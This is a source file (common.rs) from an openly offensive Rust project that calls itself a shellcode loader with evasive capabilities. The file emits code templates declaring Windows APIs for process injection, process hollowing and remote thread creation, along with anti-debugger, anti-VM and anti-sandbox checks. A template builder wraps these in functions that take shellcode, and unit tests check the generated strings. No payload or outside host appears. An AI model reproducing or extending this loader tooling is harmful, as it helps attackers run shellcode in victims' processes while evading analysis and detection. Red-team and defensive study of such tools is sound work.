myph-v2~ rust shellcode loader with evasive capabilities |
| git clone https://github.com/djnnvx/myph-v2.git |
| log | files | refs | archive | README |
common.rs (14113B)
1 use super::super::{process_helpers, windows_types}; 2 3 /// Common Windows API constants used across multiple techniques 4 pub const COMMON_MEMORY_CONSTANTS: &str = r#"const MEM_COMMIT: u32 = 0x1000; 5 const MEM_RESERVE: u32 = 0x2000; 6 const PAGE_READWRITE: u32 = 0x4; 7 const PAGE_EXECUTE_READ: u32 = 0x20; 8 const PAGE_EXECUTE_READWRITE: u32 = 0x40;"#; 9 10 /// Common process creation constants 11 pub const COMMON_PROCESS_CONSTANTS: &str = r#"const CREATE_SUSPENDED: u32 = 0x4; 12 const CREATE_NO_WINDOW: u32 = 0x8000000;"#; 13 14 /// Common imports for local memory operations 15 pub fn common_local_memory_imports() -> &'static str { 16 "use std::ffi::c_void;" 17 } 18 19 /// Common Windows API function declarations for local memory operations 20 /// These functions operate on the current process (VirtualAlloc, VirtualProtect, etc.) 21 pub fn common_local_memory_externs() -> &'static str { 22 r#"#[link(name = "kernel32")] 23 extern "system" { 24 fn VirtualAlloc( 25 address: *mut c_void, 26 size: usize, 27 allocation_type: u32, 28 protect: u32, 29 ) -> *mut c_void; 30 31 fn VirtualProtect( 32 lp_address: *mut c_void, 33 dw_size: usize, 34 fl_new_protect: u32, 35 lpfl_old_protect: *mut u32, 36 ) -> i32; 37 }"# 38 } 39 40 /// Common Windows API function declarations for process injection 41 pub fn common_process_injection_externs() -> &'static str { 42 r#" fn VirtualAllocEx( 43 process: *mut std::ffi::c_void, 44 address: *const std::ffi::c_void, 45 size: usize, 46 allocation_type: u32, 47 protect: u32, 48 ) -> *mut std::ffi::c_void; 49 50 fn VirtualProtectEx( 51 process: *mut std::ffi::c_void, 52 address: *const std::ffi::c_void, 53 size: usize, 54 new_protect: u32, 55 old_protect: *mut u32, 56 ) -> i32; 57 58 fn WriteProcessMemory( 59 process: *mut std::ffi::c_void, 60 base_address: *const std::ffi::c_void, 61 buffer: *const std::ffi::c_void, 62 size: usize, 63 number_of_bytes_written: *mut usize, 64 ) -> i32; 65 66 fn CreateProcessW( 67 application_name: *const u16, 68 command_line: *mut u16, 69 process_attributes: *const std::ffi::c_void, 70 thread_attributes: *const std::ffi::c_void, 71 inherit_handles: i32, 72 creation_flags: u32, 73 environment: *const std::ffi::c_void, 74 current_directory: *const u16, 75 startup_info: *const StartupInfoW, 76 process_information: *mut ProcessInformation, 77 ) -> i32;"# 78 } 79 80 /// Extended kernel32 externs for process hollowing and other advanced techniques 81 pub fn common_process_hollowing_externs() -> &'static str { 82 r#" fn ReadProcessMemory( 83 process: *mut std::ffi::c_void, 84 base_address: usize, 85 buffer: *mut u8, 86 size: usize, 87 number_of_bytes_read: *mut usize, 88 ) -> i32; 89 90 fn ResumeThread( 91 thread: *mut std::ffi::c_void, 92 ) -> u32;"# 93 } 94 95 /// Common ntdll.dll function declarations 96 pub fn common_ntdll_externs() -> &'static str { 97 r#" fn NtAllocateVirtualMemory( 98 process_handle: usize, 99 base_address: *mut usize, 100 zero_bits: usize, 101 region_size: *mut usize, 102 allocation_type: u32, 103 protect: u32, 104 ) -> i32; 105 106 fn NtWriteVirtualMemory( 107 process_handle: usize, 108 base_address: usize, 109 buffer: *const std::ffi::c_void, 110 number_of_bytes_to_write: usize, 111 number_of_bytes_written: usize, 112 ) -> i32; 113 114 fn NtProtectVirtualMemory( 115 process_handle: usize, 116 base_address: *mut usize, 117 region_size: *mut usize, 118 new_protect: u32, 119 old_protect: *mut u32, 120 ) -> i32; 121 122 fn NtCreateThreadEx( 123 thread_handle: *mut usize, 124 desired_access: u32, 125 object_attributes: usize, 126 process_handle: usize, 127 start_routine: usize, 128 argument: usize, 129 create_flags: usize, 130 zero_bits: usize, 131 stack_size: usize, 132 maximum_stack_size: usize, 133 attribute_list: usize, 134 ) -> i32; 135 136 fn ZwQueryInformationProcess( 137 process_handle: *mut std::ffi::c_void, 138 process_information_class: u32, 139 process_information: *mut ProcessBasicInformation, 140 process_information_length: u32, 141 return_length: *mut u32, 142 ) -> i32;"# 143 } 144 145 /// Common thread management externs (kernel32) 146 pub fn common_thread_management_externs() -> &'static str { 147 r#" fn WaitForSingleObject( 148 handle: usize, 149 milliseconds: u32, 150 ) -> u32;"# 151 } 152 153 /// ProcessBasicInformation structure for ntdll queries 154 pub fn process_basic_information_struct() -> &'static str { 155 r#"#[repr(C)] 156 struct ProcessBasicInformation { 157 reserved1: usize, 158 peb_address: usize, 159 reserved2: usize, 160 reserved3: usize, 161 unique_pid: usize, 162 more_reserved: usize, 163 }"# 164 } 165 166 /// Common evasion externs for kernel32 (used in anti-VM and anti-debugger checks) 167 pub fn common_evasion_kernel32_externs() -> &'static str { 168 r#" fn GetModuleHandleA(module_name: *const i8) -> *mut std::ffi::c_void; 169 170 fn IsDebuggerPresent() -> i32; 171 172 fn CheckRemoteDebuggerPresent( 173 process: *mut std::ffi::c_void, 174 present: *mut i32, 175 ) -> i32; 176 177 fn GetCurrentProcess() -> *mut std::ffi::c_void; 178 179 fn GetCurrentThread() -> *mut std::ffi::c_void; 180 181 fn GetThreadContext( 182 thread: *mut std::ffi::c_void, 183 context: *mut Context, 184 ) -> i32; 185 186 fn GlobalMemoryStatusEx(buffer: *mut MemoryStatusEx) -> i32; 187 188 fn GetTickCount() -> u32; 189 190 fn GetTickCount64() -> u64;"# 191 } 192 193 /// Common evasion externs for user32 (used in anti-sandbox checks) 194 pub fn common_evasion_user32_externs() -> &'static str { 195 r#" fn GetLastInputInfo(info: *mut LastInputInfo) -> i32;"# 196 } 197 198 /// Common evasion externs for ntdll (used in anti-debugger checks) 199 pub fn common_evasion_ntdll_externs() -> &'static str { 200 r#" fn NtQueryInformationProcess( 201 process_handle: *mut std::ffi::c_void, 202 process_information_class: u32, 203 process_information: *mut std::ffi::c_void, 204 process_information_length: u32, 205 return_length: *mut u32, 206 ) -> i32;"# 207 } 208 209 /// Evasion-specific structures 210 pub fn common_evasion_structures() -> &'static str { 211 r#"#[repr(C)] 212 struct MemoryStatusEx { 213 length: u32, 214 memory_load: u32, 215 total_phys: u64, 216 avail_phys: u64, 217 total_page_file: u64, 218 avail_page_file: u64, 219 total_virtual: u64, 220 avail_virtual: u64, 221 avail_extended_virtual: u64, 222 } 223 224 #[repr(C)] 225 struct LastInputInfo { 226 size: u32, 227 time: u32, 228 } 229 230 #[repr(C)] 231 struct Context { 232 context_flags: u32, 233 dr0: usize, 234 dr1: usize, 235 dr2: usize, 236 dr3: usize, 237 dr6: usize, 238 dr7: usize, 239 _padding: [u8; 512], 240 }"# 241 } 242 243 /// Common Windows structures for process creation 244 /// 245 /// This function now delegates to the centralized windows_types module. 246 pub fn common_process_structures() -> String { 247 windows_types::process_structures() 248 } 249 250 /// Common imports for process injection techniques 251 /// 252 /// This function now delegates to the centralized process_helpers module. 253 pub fn common_process_injection_imports() -> &'static str { 254 process_helpers::process_creation_imports() 255 } 256 257 /// Template builder for generating consistent technique code 258 pub struct TechniqueTemplateBuilder { 259 import: String, 260 const_section: String, 261 init_section: String, 262 process_section: String, 263 } 264 265 impl TechniqueTemplateBuilder { 266 pub fn new() -> Self { 267 Self { 268 import: String::new(), 269 const_section: String::new(), 270 init_section: String::new(), 271 process_section: String::new(), 272 } 273 } 274 275 pub fn with_import(mut self, import: String) -> Self { 276 self.import = import; 277 self 278 } 279 280 pub fn with_const(mut self, const_section: String) -> Self { 281 self.const_section = const_section; 282 self 283 } 284 285 pub fn with_init(mut self, init_section: String) -> Self { 286 self.init_section = init_section; 287 self 288 } 289 290 pub fn with_process(mut self, process_section: String) -> Self { 291 self.process_section = process_section; 292 self 293 } 294 295 pub fn build(self, function_name: &str) -> String { 296 format!( 297 r#" 298 {} 299 300 {} 301 302 {} 303 304 fn {}(shellcode: &[u8]) {{ 305 {} 306 }} 307 "#, 308 self.import, self.const_section, self.init_section, function_name, self.process_section 309 ) 310 } 311 } 312 313 impl Default for TechniqueTemplateBuilder { 314 fn default() -> Self { 315 Self::new() 316 } 317 } 318 319 #[cfg(test)] 320 pub mod test_helpers { 321 /// Assert that the code contains required imports 322 #[allow(dead_code)] 323 pub fn assert_contains_imports(code: &str, imports: &[&str]) { 324 for import in imports { 325 assert!( 326 code.contains(import), 327 "Code should contain import: {}", 328 import 329 ); 330 } 331 } 332 333 /// Assert that the code contains extern function declarations 334 #[allow(dead_code)] 335 pub fn assert_contains_extern_functions(code: &str, functions: &[&str]) { 336 for function in functions { 337 assert!( 338 code.contains(function), 339 "Code should contain extern function: {}", 340 function 341 ); 342 } 343 } 344 345 /// Assert that the code contains error handling 346 #[allow(dead_code)] 347 pub fn assert_has_error_handling(code: &str) { 348 assert!( 349 code.contains("panic"), 350 "Code should contain error handling (panic)" 351 ); 352 } 353 354 /// Assert that the code contains memory constants 355 #[allow(dead_code)] 356 pub fn assert_contains_memory_constants(code: &str) { 357 let constants = ["MEM_COMMIT", "MEM_RESERVE"]; 358 for constant in &constants { 359 assert!( 360 code.contains(constant), 361 "Code should contain constant: {}", 362 constant 363 ); 364 } 365 } 366 367 /// Assert that the code contains a function with the given name 368 #[allow(dead_code)] 369 pub fn assert_contains_function(code: &str, function_name: &str) { 370 assert!( 371 code.contains(&format!("fn {}", function_name)), 372 "Code should contain function: {}", 373 function_name 374 ); 375 } 376 377 /// Assert that the code contains Windows API extern declarations 378 #[allow(dead_code)] 379 pub fn assert_contains_windows_api_externs(code: &str, apis: &[&str]) { 380 for api in apis { 381 assert!( 382 code.contains(api), 383 "Code should contain Windows API: {}", 384 api 385 ); 386 } 387 } 388 } 389 390 #[cfg(test)] 391 mod integration_tests { 392 use super::*; 393 394 #[test] 395 fn test_common_process_structures_uses_windows_types() { 396 let code = common_process_structures(); 397 assert!(code.contains("struct StartupInfoW")); 398 assert!(code.contains("struct ProcessInformation")); 399 } 400 401 #[test] 402 fn test_common_imports_match_process_helpers() { 403 let common_imports = common_process_injection_imports(); 404 let helper_imports = process_helpers::process_creation_imports(); 405 assert_eq!(common_imports, helper_imports); 406 } 407 408 #[test] 409 fn test_template_builder_works_with_new_modules() { 410 let builder = TechniqueTemplateBuilder::new() 411 .with_import(common_process_injection_imports().to_string()) 412 .with_const(COMMON_MEMORY_CONSTANTS.to_string()) 413 .with_init("// test init".to_string()) 414 .with_process("// test process".to_string()) 415 .build("test_fn"); 416 417 assert!(builder.contains("use std::ptr")); 418 assert!(builder.contains("MEM_COMMIT")); 419 assert!(builder.contains("test_fn")); 420 } 421 422 #[test] 423 fn test_common_process_hollowing_externs() { 424 let code = common_process_hollowing_externs(); 425 assert!(code.contains("ReadProcessMemory")); 426 assert!(code.contains("ResumeThread")); 427 } 428 429 #[test] 430 fn test_common_ntdll_externs() { 431 let code = common_ntdll_externs(); 432 assert!(code.contains("NtAllocateVirtualMemory")); 433 assert!(code.contains("NtWriteVirtualMemory")); 434 assert!(code.contains("NtProtectVirtualMemory")); 435 assert!(code.contains("NtCreateThreadEx")); 436 assert!(code.contains("ZwQueryInformationProcess")); 437 } 438 439 #[test] 440 fn test_common_thread_management_externs() { 441 let code = common_thread_management_externs(); 442 assert!(code.contains("WaitForSingleObject")); 443 } 444 445 #[test] 446 fn test_process_basic_information_struct() { 447 let code = process_basic_information_struct(); 448 assert!(code.contains("struct ProcessBasicInformation")); 449 assert!(code.contains("peb_address")); 450 assert!(code.contains("unique_pid")); 451 } 452 453 #[test] 454 fn test_common_evasion_kernel32_externs() { 455 let code = common_evasion_kernel32_externs(); 456 assert!(code.contains("GetModuleHandleA")); 457 assert!(code.contains("IsDebuggerPresent")); 458 assert!(code.contains("CheckRemoteDebuggerPresent")); 459 assert!(code.contains("GetCurrentProcess")); 460 assert!(code.contains("GetCurrentThread")); 461 assert!(code.contains("GetThreadContext")); 462 assert!(code.contains("GlobalMemoryStatusEx")); 463 assert!(code.contains("GetTickCount")); 464 assert!(code.contains("GetTickCount64")); 465 } 466 467 #[test] 468 fn test_common_evasion_user32_externs() { 469 let code = common_evasion_user32_externs(); 470 assert!(code.contains("GetLastInputInfo")); 471 } 472 473 #[test] 474 fn test_common_evasion_ntdll_externs() { 475 let code = common_evasion_ntdll_externs(); 476 assert!(code.contains("NtQueryInformationProcess")); 477 } 478 479 #[test] 480 fn test_common_evasion_structures() { 481 let code = common_evasion_structures(); 482 assert!(code.contains("struct MemoryStatusEx")); 483 assert!(code.contains("struct LastInputInfo")); 484 assert!(code.contains("struct Context")); 485 assert!(code.contains("dr0")); 486 assert!(code.contains("dr7")); 487 } 488 }